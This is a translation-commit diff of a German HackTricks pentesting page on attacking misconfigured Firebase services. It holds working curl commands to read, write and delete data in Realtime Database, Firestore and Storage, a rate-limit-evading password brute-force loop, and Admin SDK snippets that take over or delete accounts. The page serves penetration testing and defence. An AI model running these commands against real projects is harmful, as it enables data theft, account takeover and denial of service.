mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
Translator
@@ -4,27 +4,27 @@
|
||||
|
||||
## Firebase
|
||||
|
||||
### Nicht authentifizierter Zugriff auf Firebase Realtime Database
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass in den Firebase Realtime Database security rules eine unsichere Konfiguration vorliegt, bei der die Regeln mit `.read: true` oder `.write: true` gesetzt sind und damit öffentlicher Lese- bzw. Schreibzugriff erlaubt wird.
|
||||
### Unauthentifizierter Zugriff auf Firebase Realtime Database
|
||||
Ein Angreifer benötigt keine speziellen Firebase permissions, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Realtime Database security rules vorliegt, bei der die Regeln mit `.read: true` oder `.write: true` gesetzt sind und damit öffentlichen Lese- bzw. Schreibzugriff erlauben.
|
||||
|
||||
Der Angreifer muss die Datenbank-URL identifizieren, die typischerweise dem Format `https://<project-id>.firebaseio.com/` folgt.
|
||||
|
||||
Diese URL kann durch mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), die Analyse von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), das Untersuchen des Quellcodes von Webanwendungen oder das Analysieren von Netzwerkverkehr zur Identifikation von Requests an `*.firebaseio.com`-Domains gefunden werden.
|
||||
Diese URL kann durch mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), durch Analyse von Konfigurationsdateien wie google-services.json (Android) oder GoogleService-Info.plist (iOS), durch Inspektion des Quellcodes von Webanwendungen oder durch Untersuchung des network traffic zur Identifikation von requests an `*.firebaseio.com`-Domains gefunden werden.
|
||||
|
||||
Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt gegebenenfalls bösartige Informationen.
|
||||
Der Angreifer identifiziert die Datenbank-URL und prüft, ob sie öffentlich zugänglich ist, greift dann auf die Daten zu und schreibt gegebenenfalls bösartige Daten.
|
||||
|
||||
Zuerst prüfen sie, ob die Datenbank Lesezugriff erlaubt, indem sie `.json` an die URL anhängen.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Wenn die Antwort JSON-Daten oder null (statt "Permission Denied") enthält, erlaubt die Datenbank Lesezugriff. Um Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage über die Firebase REST API zu senden.
|
||||
Wenn die Antwort JSON-Daten oder null enthält (anstatt "Permission Denied"), erlaubt die Datenbank Lesezugriff. Um den Schreibzugriff zu prüfen, kann der Angreifer versuchen, eine Test-Schreibanfrage über die Firebase REST API zu senden.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
Wenn die Operation erfolgreich ist, erlaubt die Datenbank außerdem write access.
|
||||
Wenn die Operation erfolgreich ist, erlaubt die Datenbank außerdem Schreibzugriff.
|
||||
|
||||
### Exposure of data in Cloud Firestore
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Cloud Firestore security rules vorliegt, bei der die Regeln read or write access ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine fehlkonfigurierte Regel, die vollen Zugriff gewährt, ist:
|
||||
### Offenlegung von Daten in Cloud Firestore
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass es eine verwundbare Konfiguration in den Cloud Firestore Sicherheitsregeln gibt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
@@ -32,25 +32,22 @@ allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Diese Regel erlaubt es jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben.
|
||||
|
||||
Firestore-Regeln sind granular und gelten pro collection und document, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte collections offenlegt.
|
||||
|
||||
Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile app reverse engineering, die Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, das Inspizieren des Quellcodes von Webanwendungen oder die Analyse des Netzwerkverkehrs zur Identifizierung von Requests an firestore.googleapis.com gefunden werden kann.
|
||||
Diese Regel erlaubt jedem, alle Dokumente ohne Einschränkungen zu lesen und zu schreiben. Firestore rules sind granular und gelten pro collection und document, sodass ein Fehler in einer bestimmten Regel nur bestimmte collections offenlegen kann.
|
||||
|
||||
Der attacker muss die Firebase Project ID identifizieren, die durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen oder Analyse des Netzwerkverkehrs zur Identifikation von Requests an firestore.googleapis.com gefunden werden kann.
|
||||
Die Firestore REST API verwendet das Format:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Wenn die Regeln unauthentifizierten Lesezugriff erlauben, kann ein Angreifer Collections und Dokumente lesen. Zuerst versucht er, auf eine bestimmte Collection zuzugreifen:
|
||||
Wenn die Regeln unauthenticated read access erlauben, kann der Angreifer collections und documents lesen. Zuerst versuchen sie, auf eine bestimmte collection zuzugreifen:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Wenn die Antwort JSON-Dokumente anstelle eines Berechtigungsfehlers enthält, ist die collection exponiert. Ein Angreifer kann alle zugänglichen collections auflisten, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes Dokument zuzugreifen:
|
||||
Wenn die Antwort JSON documents statt eines permission errors enthält, ist die collection exposed. Der attacker kann alle zugänglichen collections enumerate, indem er gängige Namen ausprobiert oder die Struktur der Anwendung analysiert. Um auf ein bestimmtes document zuzugreifen:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung vorliegt, kann der Angreifer neue Dokumente erstellen:
|
||||
Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder unzureichende Validierung aufweisen, kann der Angreifer neue Dokumente erstellen:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -71,12 +68,12 @@ curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/database
|
||||
}
|
||||
}'
|
||||
```
|
||||
Um ein Dokument zu löschen und einen Denial-of-Service zu verursachen:
|
||||
Um ein Dokument zu löschen und einen DoS zu verursachen:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Offenlegung von Dateien in Firebase Storage
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage-Sicherheitsregeln vorliegt, bei der die Regeln Lese- oder Schreibzugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Storage-Regeln steuern Lese- und Schreibberechtigungen unabhängig, sodass ein Fehler in einer Regel nur Lesezugriff, nur Schreibzugriff oder beides offenlegen kann. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:
|
||||
Ein Angreifer benötigt keine spezifischen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass eine verwundbare Konfiguration in den Firebase Storage security rules vorhanden ist, bei der die Regeln read- oder write-Zugriff ohne Authentifizierung oder mit unzureichender Validierung erlauben. Storage rules kontrollieren read- und write-Berechtigungen unabhängig voneinander, so dass ein Fehler in einer Regel nur read-Zugriff, nur write-Zugriff oder beides offenlegen kann. Ein Beispiel für eine falsch konfigurierte Regel, die vollen Zugriff gewährt, ist:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
@@ -84,19 +81,19 @@ allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne Einschränkungen. Firestore rules sind granular und werden pro Collection und pro Document angewendet, sodass ein Fehler in einer bestimmten Regel möglicherweise nur bestimmte Collections offenlegt. Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile application reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen oder network traffic analysis zur Identifizierung von Requests an firestore.googleapis.com gefunden werden kann.
|
||||
Diese Regel erlaubt Lese- und Schreibzugriff auf alle Dokumente ohne Einschränkungen. Firestore-Regeln sind granular und werden pro collection und pro document angewendet, daher kann ein Fehler in einer bestimmten Regel nur bestimmte collections exponieren. Der Angreifer muss die Firebase Project ID identifizieren, die durch mobile application reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Untersuchung des Quellcodes der Webanwendung oder Analyse des Netzwerkverkehrs zur Identifikation von Requests an firestore.googleapis.com gefunden werden kann.
|
||||
Die Firestore REST API verwendet das Format: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Wenn die Regeln unauthenticated read access erlauben, kann der Angreifer Collections und Documents lesen. Zuerst versucht er, auf eine spezifische Collection zuzugreifen.
|
||||
Wenn die Regeln nicht authentifizierten Lesezugriff erlauben, kann der Angreifer collections und documents lesen. Zuerst versuchen sie, auf eine bestimmte collection zuzugreifen.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Wenn die Antwort die Liste der Dateien anstelle eines Berechtigungsfehlers enthält, ist die Datei exponiert. Der Angreifer kann den Inhalt der Dateien anzeigen, indem er ihren Pfad angibt:
|
||||
Wenn die Antwort die Liste der Dateien statt eines Berechtigungsfehlers enthält, ist die Datei exponiert. Der Angreifer kann den Inhalt der Dateien anzeigen, indem er ihren Pfad angibt:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Wenn die Regeln nicht authentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung aufweisen, kann der attacker bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:
|
||||
Wenn die Regeln unauthentifizierten Schreibzugriff erlauben oder eine unzureichende Validierung besteht, kann ein Angreifer bösartige Dateien hochladen. Um eine Datei über die REST API hochzuladen:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
@@ -106,22 +103,22 @@ Der Angreifer kann code shells, malware payloads oder große Dateien hochladen,
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Aufruf öffentlicher Firebase Cloud Functions
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es reicht, dass eine Cloud Function öffentlich über HTTP ohne Authentifizierung zugänglich ist.
|
||||
### Invocation of public Firebase Cloud Functions
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um dieses Problem auszunutzen; es erfordert nur, dass eine Cloud Function über HTTP ohne Authentifizierung öffentlich zugänglich ist.
|
||||
|
||||
Eine Funktion ist anfällig, wenn sie unsicher konfiguriert ist:
|
||||
Eine Funktion ist verwundbar, wenn sie unsicher konfiguriert ist:
|
||||
|
||||
- Sie verwendet `functions.https.onRequest`, das keine Authentifizierung erzwingt (im Gegensatz zu `onCall` functions).
|
||||
- Der Code der Funktion validiert die Benutzer-Authentifizierung nicht (z. B. keine Prüfungen auf `request.auth` oder `context.auth`).
|
||||
- Die Funktion ist in IAM öffentlich zugänglich, d. h. `allUsers` hat die Rolle `roles/cloudfunctions.invoker`. Dies ist das Standardverhalten für HTTP-Funktionen, sofern der Entwickler den Zugriff nicht einschränkt.
|
||||
- Es verwendet functions.https.onRequest, das keine Authentifizierung erzwingt (im Gegensatz zu onCall functions).
|
||||
- Der Code der Funktion validiert nicht die Benutzer-Authentifizierung (z. B. keine Prüfungen von request.auth oder context.auth).
|
||||
- Die Funktion ist in IAM öffentlich zugänglich, d. h. allUsers hat die Rolle roles/cloudfunctions.invoker. Dies ist das Standardverhalten für HTTP functions, sofern der Entwickler den Zugriff nicht einschränkt.
|
||||
|
||||
Firebase HTTP Cloud Functions sind über URLs erreichbar, wie zum Beispiel:
|
||||
Firebase HTTP Cloud Functions sind über URLs wie die folgenden erreichbar:
|
||||
|
||||
- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
|
||||
- `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)
|
||||
|
||||
Ein Angreifer kann diese URLs durch source code analysis, network traffic inspection, enumeration tools oder mobile app reverse engineering entdecken.
|
||||
Wenn die Funktion öffentlich exponiert und nicht authentifiziert ist, kann der Angreifer sie direkt ohne Anmeldeinformationen aufrufen.
|
||||
Ein Angreifer kann diese URLs durch source code analysis, network traffic inspection, enumeration tools oder mobile app reverse engineering entdecken.
|
||||
Wenn die Funktion öffentlich exponiert und ohne Authentifizierung ist, kann der Angreifer sie direkt ohne Zugangsdaten aufrufen.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
@@ -130,22 +127,22 @@ curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
Wenn die Funktion Eingaben nicht korrekt validiert, kann der Angreifer andere Angriffe versuchen, wie z. B. code injection oder command injection.
|
||||
If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.
|
||||
|
||||
### Brute-force attack gegen Firebase Authentication mit schwacher Passwortrichtlinie
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwortrichtlinie nicht strenger als die Standardeinstellungen konfiguriert wurde.
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen. Es reicht, dass der Firebase API Key in mobilen oder Webanwendungen offengelegt ist und die Passwort-Richtlinie nicht strenger konfiguriert wurde als die Standardanforderungen.
|
||||
|
||||
Der Angreifer muss den Firebase API Key identifizieren, der durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Inspektion des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder Analyse des Netzwerkverkehrs gefunden werden kann.
|
||||
Der Angreifer muss den API Key identifizieren, der durch mobile app reverse engineering, Analyse von Konfigurationsdateien wie google-services.json oder GoogleService-Info.plist, Untersuchung des Quellcodes von Webanwendungen (z. B. in bootstrap.js) oder durch Analyse des Netzwerkverkehrs gefunden werden kann.
|
||||
|
||||
Firebase Authentication’s REST API uses the endpoint:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
to authenticate with email and password.
|
||||
|
||||
Wenn Email Enumeration Protection deaktiviert ist, können API-Fehlermeldungen offenbaren, ob eine E-Mail im System existiert (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), was Angreifern ermöglicht, Benutzer zu enumerieren, bevor sie Passwortraten versuchen. Wenn dieser Schutz aktiviert ist, gibt die API dieselbe Fehlermeldung für nicht vorhandene E-Mails und falsche Passwörter zurück, wodurch die Benutzerenumeration verhindert wird.
|
||||
If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.
|
||||
|
||||
Es ist wichtig zu beachten, dass Firebase Authentication rate limiting durchsetzt, das Anfragen blockieren kann, wenn innerhalb kurzer Zeit zu viele Authentifizierungsversuche stattfinden. Deshalb müsste ein Angreifer zwischen den Versuchen Verzögerungen einbauen, um nicht durch das Rate-Limit blockiert zu werden.
|
||||
Es ist wichtig zu beachten, dass Firebase Authentication rate limiting durchsetzt, das Anfragen blockieren kann, wenn innerhalb kurzer Zeit zu viele Authentifizierungsversuche erfolgen. Daher müsste ein Angreifer Verzögerungen zwischen den Versuchen einbauen, um rate-limited zu vermeiden.
|
||||
|
||||
Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Accounts durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer vorhandene Benutzer durch Analyse der Fehlermeldungen enumerieren:
|
||||
Der Angreifer identifiziert den API Key und führt Authentifizierungsversuche mit mehreren Passwörtern gegen bekannte Konten durch. Wenn Email Enumeration Protection deaktiviert ist, kann der Angreifer vorhandene Benutzer durch Analyse der Fehlermeldungen enumerieren:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
@@ -156,7 +153,7 @@ curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassw
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, aber das Passwort ist falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force-Versuche durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzulegen, um Firebase Authentication’s rate-limiting-Mechanismen zu vermeiden:
|
||||
Wenn die Antwort EMAIL_NOT_FOUND enthält, existiert die E-Mail nicht im System. Wenn sie INVALID_PASSWORD enthält, existiert die E-Mail, aber das Passwort ist falsch, was bestätigt, dass der Benutzer registriert ist. Sobald ein gültiger Benutzer identifiziert wurde, kann der Angreifer brute-force attempts durchführen. Es ist wichtig, Pausen zwischen den Versuchen einzubauen, um Firebase Authentication’s rate-limiting mechanisms zu vermeiden:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
@@ -175,31 +172,31 @@ sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
Mit der Standard-Passwortrichtlinie (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6-stelligen Passwörtern ausprobieren, was im Vergleich zu strengeren Passwort-Richtlinien einen relativ kleinen Suchraum darstellt.
|
||||
Bei der standardmäßigen Passwortrichtlinie (mindestens 6 Zeichen, keine Komplexitätsanforderungen) kann der Angreifer alle möglichen Kombinationen von 6 Zeichen langen Passwörtern ausprobieren, was im Vergleich zu strengeren Richtlinien einen relativ kleinen Suchraum darstellt.
|
||||
|
||||
### Benutzerverwaltung in Firebase Authentication
|
||||
|
||||
Der Angreifer benötigt spezifische Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Erforderliche Berechtigungen sind:
|
||||
Der Angreifer benötigt spezifische Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:
|
||||
|
||||
- `firebaseauth.users.create` to create users
|
||||
- `firebaseauth.users.update` to modify existing users
|
||||
- `firebaseauth.users.delete` to delete users
|
||||
- `firebaseauth.users.get` to retrieve user information
|
||||
- `firebaseauth.users.sendEmail` to send emails to users
|
||||
- `firebaseauth.users.createSession` to create user sessions
|
||||
- `firebaseauth.users.create` um Benutzer zu erstellen
|
||||
- `firebaseauth.users.update` um bestehende Benutzer zu ändern
|
||||
- `firebaseauth.users.delete` um Benutzer zu löschen
|
||||
- `firebaseauth.users.get` um Benutzerinformationen abzurufen
|
||||
- `firebaseauth.users.sendEmail` um E-Mails an Benutzer zu senden
|
||||
- `firebaseauth.users.createSession` um Benutzersitzungen zu erstellen
|
||||
|
||||
Diese Berechtigungen sind in der `roles/firebaseauth.admin`-Rolle enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in höheren Rollen wie roles/firebase.developAdmin (which includes all firebaseauth.* permissions) und roles/firebase.admin (full access to all Firebase services) enthalten.
|
||||
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch in übergeordneten Rollen wie roles/firebase.developAdmin (die alle firebaseauth.*-Berechtigungen enthält) und roles/firebase.admin (voller Zugriff auf alle Firebase-Dienste) enthalten.
|
||||
|
||||
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (JSON-Datei), die auf kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, gefunden werden könnten.
|
||||
Um das Firebase Admin SDK zu verwenden, bräuchte der Angreifer Zugriff auf service account credentials (JSON-Datei), die auf kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Systemen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Credentials haben, gefunden werden könnten.
|
||||
|
||||
Der erste Schritt ist, das Firebase Admin SDK mit den Service-Account-Anmeldeinformationen zu konfigurieren.
|
||||
Der erste Schritt besteht darin, das Firebase Admin SDK mit den service account credentials zu konfigurieren.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Um einen bösartigen Benutzer mit der E‑Mail des Opfers zu erstellen, würde der Angreifer versuchen, das Firebase Admin SDK zu verwenden, um ein neues Konto für diese E‑Mail anzulegen.
|
||||
Um einen bösartigen Benutzer unter Verwendung der E-Mail des victim zu erstellen, würde der attacker versuchen, das Firebase Admin SDK zu nutzen, um ein neues Konto unter dieser E‑Mail anzulegen.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
@@ -210,7 +207,7 @@ disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die E-Mail‑Adresse, den Verifizierungsstatus oder die Angabe, ob das Konto deaktiviert ist, aktualisieren.
|
||||
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die E-Mail-Adresse, den Verifizierungsstatus oder den deaktivierten Status des Kontos aktualisieren.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
@@ -220,19 +217,19 @@ disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Um ein Benutzerkonto zu löschen und einen denial of service zu verursachen, würde der Angreifer eine Anfrage stellen, um den Benutzer vollständig zu entfernen.
|
||||
Um ein Benutzerkonto zu löschen und eine denial of service zu verursachen, würde der attacker eine Anfrage stellen, um den Benutzer vollständig zu entfernen.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Der Angreifer kann außerdem Informationen über vorhandene Benutzer abrufen, indem er deren UID oder E‑Mail‑Adresse anfragt.
|
||||
Der Angreifer kann auch Informationen über bestehende Benutzer abrufen, indem er deren UID oder E‑Mail‑Adresse anfordert.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Außerdem könnte der Angreifer Verifizierungslinks oder Password-Reset-Links erzeugen, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Konto zu erhalten.
|
||||
Außerdem könnte der Angreifer verification links oder password-reset links generieren, um das Passwort eines Benutzers zu ändern und Zugriff auf dessen Konto zu erlangen.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
@@ -240,18 +237,18 @@ link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Benutzerverwaltung in Firebase Authentication
|
||||
Ein Angreifer benötigt bestimmte Berechtigungen für Firebase Authentication, um diesen Angriff durchzuführen. Die benötigten Berechtigungen sind:
|
||||
Ein Angreifer benötigt bestimmte Firebase Authentication-Berechtigungen, um diesen Angriff durchzuführen. Die erforderlichen Berechtigungen sind:
|
||||
|
||||
- `firebaseauth.users.create` um Benutzer zu erstellen
|
||||
- `firebaseauth.users.update` um vorhandene Benutzer zu ändern
|
||||
- `firebaseauth.users.delete` um Benutzer zu löschen
|
||||
- `firebaseauth.users.get` um Benutzerinformationen zu erhalten
|
||||
- `firebaseauth.users.sendEmail` um E-Mails an Benutzer zu senden
|
||||
- `firebaseauth.users.createSession` um Benutzersitzungen zu erstellen
|
||||
- `firebaseauth.users.create` to create users
|
||||
- `firebaseauth.users.update` to modify existing users
|
||||
- `firebaseauth.users.delete` to delete users
|
||||
- `firebaseauth.users.get` to obtain user information
|
||||
- `firebaseauth.users.sendEmail` to send emails to users
|
||||
- `firebaseauth.users.createSession` to create user sessions
|
||||
|
||||
Diese Berechtigungen sind in der Rolle roles/firebaseauth.admin enthalten, die vollen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind außerdem Teil höherstufiger Rollen wie `roles/firebase.developAdmin` (enthält alle firebaseauth.*-Berechtigungen) und `roles/firebase.admin` (voller Zugriff auf alle Firebase-Dienste).
|
||||
Diese Berechtigungen sind in der Rolle `roles/firebaseauth.admin` enthalten, die vollständigen Lese-/Schreibzugriff auf Firebase Authentication-Ressourcen gewährt. Sie sind auch Teil höherer Rollen wie `roles/firebase.developAdmin` (die alle `firebaseauth.*`-Berechtigungen enthält) und `roles/firebase.admin` (vollständiger Zugriff auf alle Firebase-Dienste).
|
||||
|
||||
Um das Firebase Admin SDK zu verwenden, benötigt der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (eine JSON-Datei), die von kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten mit Zugriff auf diese Anmeldeinformationen stammen können.
|
||||
Um das Firebase Admin SDK zu verwenden, müsste der Angreifer Zugriff auf Service-Account-Anmeldeinformationen (eine JSON-Datei) haben, die aus kompromittierten Systemen, öffentlich zugänglichen Code-Repositories, kompromittierten CI/CD-Umgebungen oder durch die Kompromittierung von Entwicklerkonten, die Zugriff auf diese Anmeldeinformationen haben, erlangt werden könnten.
|
||||
|
||||
Der erste Schritt ist, das Firebase Admin SDK mit den Service-Account-Anmeldeinformationen zu konfigurieren.
|
||||
```bash
|
||||
@@ -260,7 +257,7 @@ from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Um einen bösartigen Benutzer mit der E-Mail eines Opfers zu erstellen, würde der Angreifer versuchen, ein neues Benutzerkonto mit dieser E-Mail anzulegen und ein eigenes Passwort sowie eigene Profilinformationen zu vergeben.
|
||||
Um einen bösartigen Benutzer unter Verwendung der E-Mail des victim zu erstellen, würde der attacker versuchen, ein neues Benutzerkonto mit dieser E-Mail anzulegen und dabei sein eigenes Passwort und Profilinformationen zu vergeben.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
@@ -271,7 +268,7 @@ disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Um einen bestehenden Benutzer zu ändern, würde der Angreifer Felder wie die E‑Mail‑Adresse, den Verifizierungsstatus oder ob das Konto deaktiviert ist, ändern.
|
||||
Um einen bestehenden Benutzer zu ändern, würde der attacker Felder wie E-Mail-Adresse, Verifizierungsstatus oder die Frage, ob das Konto deaktiviert ist, anpassen.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
@@ -281,19 +278,19 @@ disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Um ein Benutzerkonto zu löschen — und damit effektiv einen Denial of Service zu verursachen — würde der Angreifer eine Anfrage stellen, um diesen Benutzer dauerhaft zu entfernen.
|
||||
Um ein Benutzerkonto zu löschen — wodurch effektiv einen denial of service verursacht würde — würde der Angreifer eine Anfrage stellen, um diesen Benutzer dauerhaft zu entfernen.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
